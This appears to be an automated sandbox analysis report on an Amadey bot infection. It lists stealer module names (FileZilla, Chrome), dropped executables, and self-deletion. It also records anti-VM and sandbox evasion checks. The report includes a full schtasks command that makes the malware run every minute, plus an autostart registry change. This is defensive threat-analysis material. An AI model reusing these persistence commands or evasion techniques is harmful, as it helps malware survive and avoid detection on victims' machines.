Source: 28.2.CA5D.exe.900000.0.unpack, EthRule.cs	High entropy of concatenated method names: '.ctor', 'GetFolder', 'GetScanArgs', 't93EMDDvWs0RPJS49p6', 'rOe79GD2o08jslxnujA', 'FUvgHNDyteD25bnWYNy', 'IUjQreDhllxRLUSrGqi', 'v6THCmDBwXjkj1RpNYG', 'jnBrt7DErbJMYPUNXo1', 'TD9vcaDNiSGe6rC41WU'
Source: 28.2.CA5D.exe.900000.0.unpack, CryptoProvider.cs	High entropy of concatenated method names: 'BCryptOpenAlgorithmProvider', 'BCryptCloseAlgorithmProvider', 'BCryptGetProperty', 'ymZVMLarb', 'BCryptImportKey', 'BCryptDestroyKey', 'BCryptDecrypt', 'Decrypt', 'zgMl3JJpp', 'MaiYSV9EX'
Source: 28.2.CA5D.exe.900000.0.unpack, XUkq7Bpxi011sLUeQA/mE22f1t3eiR0PcbtO4.cs	High entropy of concatenated method names: '.cctor', 'K0uTM9n3452Pe', 'jhCyctLbFe', 'rPtyrEdak9', 'KB5y79nNg7', 'triytQq2EZ', 'ctyypxNsqE', 'HVGy2jlw3h', 'wkyyajxpfm', 'iN9y5CwdCw'
Source: 28.2.CA5D.exe.900000.0.unpack, FileZilla.cs	High entropy of concatenated method names: 'Scan', 'fLSOkgKtn', 'LA2s3LPDe', '.ctor', 'xkoScfvN9OFb1XHCFa', 'RGUenOhntGysRPYjUo', 'FFmw1KBmPC79afTJlJ', 'CeVMohE0NwCd4Lvsbw', 'mKVWg7N9nIZBoPQTMy', 'vjBvBtiU5lnFYpR9tT'
Source: 28.2.CA5D.exe.900000.0.unpack, Chr_0_M_e.cs	High entropy of concatenated method names: 'Scan', 'GBUIKJlcW', 'xnS3Xf6CH', 'b3AyQOZp1', 'kgdk4SfLV', 'A8Abe9Y9F', 'MakeTries', 'BYmStk3om', 'VQZcWNX1d9lg0XHsZa', 'v2c76ekudSHfxgGIRG'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rnyuf.exe PID: 2016, type: MEMORYSTR

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\trgavvb

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	File created: C:\Users\user\AppData\Local\Temp\mrmoms\mrmoms.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	File created: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\ABA5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\trgavvb	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\mrmoms[1].exe	Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe' /F

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49745

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\b7cwlpwh6s.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\trgavvb:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CA5D.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CA5D.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: b7cwlpwH6S.exe, 00000000.00000002.294124560.000000000267A000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\explorer.exe TID: 1352	Thread sleep count: 624 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1344	Thread sleep count: 271 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4716	Thread sleep count: 367 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4716	Thread sleep time: -36700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2160	Thread sleep count: 501 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 652	Thread sleep count: 195 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1304	Thread sleep count: 232 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe TID: 5320	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe TID: 5320	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe TID: 2796	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe TID: 1220	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe TID: 1640	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe TID: 3972	Thread sleep time: -1260000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe TID: 2796	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe TID: 1220	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

20_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 624	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 367	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 501	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Window / User API: threadDelayed 1310	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Window / User API: threadDelayed 7349	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mrmoms\mrmoms.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\mrmoms[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: explorer.exe, 00000004.00000000.270108631.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000004.00000000.270108631.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: ABA5.exe, 00000014.00000002.477833948.00000000097D0000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000004.00000000.275517043.000000000ED11000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
